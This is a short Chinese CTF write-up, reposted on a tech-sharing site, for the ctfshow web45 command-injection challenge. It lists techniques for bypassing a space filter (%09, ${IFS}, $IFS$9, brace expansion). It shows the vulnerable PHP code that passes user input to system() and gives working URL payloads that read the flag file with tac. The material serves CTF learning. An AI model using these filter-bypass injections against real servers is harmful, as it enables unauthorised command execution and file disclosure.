首页 > 其他分享> 文章详细

ctfshow-web45(命令执行)

2022-01-26 11:03:21 阅读：221 来源： 互联网

标签：__ 26 web45 IFS php% 09 命令 ctfshow tac

空格绕过

>` `<` `<>` 重定向符

`%09`(需要php环境)

`${IFS}`

`$IFS$9`

`{cat,flag.php}` //用逗号实现了空格功能 `%20` `%09

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac%09fla?.php%26
或
?c=tac$IFS$9fla?.php%26
?c=tac${IFS}fla?.php%26

?c=echo$IFS`tac$IFS*`%0A

官方

标签：__,26,web45,IFS,php%,09,命令,ctfshow,tac
来源： https://blog.csdn.net/m0_62094846/article/details/122694504

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

ctfshow-web45(命令执行)